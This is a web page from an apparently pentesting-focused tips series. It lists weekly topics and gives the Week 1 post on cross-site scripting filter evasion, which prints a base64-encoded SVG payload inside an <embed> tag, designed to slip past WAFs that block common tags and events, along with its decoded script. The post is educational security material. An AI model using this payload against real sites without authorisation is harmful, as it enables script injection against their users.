Web Hacking Tips
  • Web App Hacking Tips & Tricks
  • Weekly Tips
    • Week 1 - XSS Filter Evasion
    • Week 2 - CSRF Token Bypass
    • Week 3 - CORS Exploitation
    • Week 4 - Finding XSS
    • Week 5 - CSRF Explanation
    • Week 6 - XSS Types
    • Week 7 - Advanced SQLMap
    • Week 8 - Stealing HttpOnly Cookies from PHPINFO
    • Week 9 - SQLMap Tamper Scripts
    • Week 10 - XSS Obfuscated Payloads
    • Week 11 - XS-Search: Cross-Origin Enumeration
    • Week 12 - Subdomain Takeovers
    • Week 13 - XSS Keylogger
    • Week 14 - Algolia API Keys
    • Week 15 - GraphQL Introspection
    • Week 16 - Naming BurpSuite Repeater Tabs
    • Week 17 - GoBuster Tips
    • Week 18 - Burp Request to Python Script
    • Week 19 - Customizing Nikto Scans
    • Week 20 - Google Phishing Page
    • Week 21 - Google BITB
    • Week 22 - XSS Through SVG File
    • Week 23 - FoxyProxy Extension
    • Week 24 - CSP Bypasses
    • Week 25 - Pilfering LocalStorage with XSS
    • Week 26 - Cloud SSRF
    • Week 27 - Blind XSS
    • Week 28 - Firebase Misconfigurations
    • Week 29 - XSS to CSRF
  • Week 30 - SQLMap Debugging
  • Week 31 - WayBack Machine
  • Week 32 - O365 BITB
  • Week 33 - Burp Intruder Attacks
  • Week 34 - GraphQL Bruteforcing
  • Week 35 - User Accounts
  • Week 36 - CVE Submission
  • Week 37 - Second Order SQLi
  • Week 38 - Out of Band SQLi
  • Week 39 - Broken Link Hijacking
  • Week 40 - JWT Testing
  • Week 41 - BURP ATOR
  • Week 42 - ProxyChains
  • Week 43 - CSS Keylogging
  • Week 44 - SVG SSRF
  • Week 45 - Request Smuggling
  • Week 46 - XSS Payloads
  • Week 47 - DNS Re-binding
  • Week 48 - SSRF Bypass
  • Week 49 - File Upload Bypass
  • Week 50 - CRLF Injection
  • Week 51 - HTML to PDF
  • Week 52 - Parameter Pollution
  • Week 53 - Pre-Account Takeover
  • Week 54 - Race Conditions
  • Week 55 - SQLi to RCE
  • Week 56 - Cloud SSRF PrivEsc
  • Week 57 - Response Queue Poisoning
  • Week 58 - Directory Traversal
  • Week 59 - File Upload -> CSRF
  • Week 60 - Modern CSRF Attacks
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  1. Weekly Tips

Week 1 - XSS Filter Evasion

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Last updated 2 years ago

Advanced XSS using <embed>

To start off the new year, I’ll be kicking off a series of posts containing Web App Hacking Tips & Tricks. This week’s tip is related to Advanced Cross-Site Scripting: Several times in the past, I’ve found myself testing a website that allows HTML Injection, but I can’t seem to get a working XSS payload or pop an alert box. Typically, the application has some kind of WAF running that blocks specific HTML tags (script, img, a) or more commonly HTML events (onclick, onerror, onpageshow). In these situations, I’ve found the below payload successfully executes: <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> The above base64 decodes to:

<svg xmlns:svg="" xmlns="" xmlns:xlink="" version="1.0" x="0" y="0" width="194" height="200" id="xss"><script type="text/ecmascript">alert("XSS");</script></svg>

Because this payload doesn’t contain HTML events and uses the uncommon <embed> tag, it is a useful addition to your pentesting notes

http://www.w3.org/2000/svg
http://www.w3.org/2000/svg
https://lnkd.in/ePggbfMN
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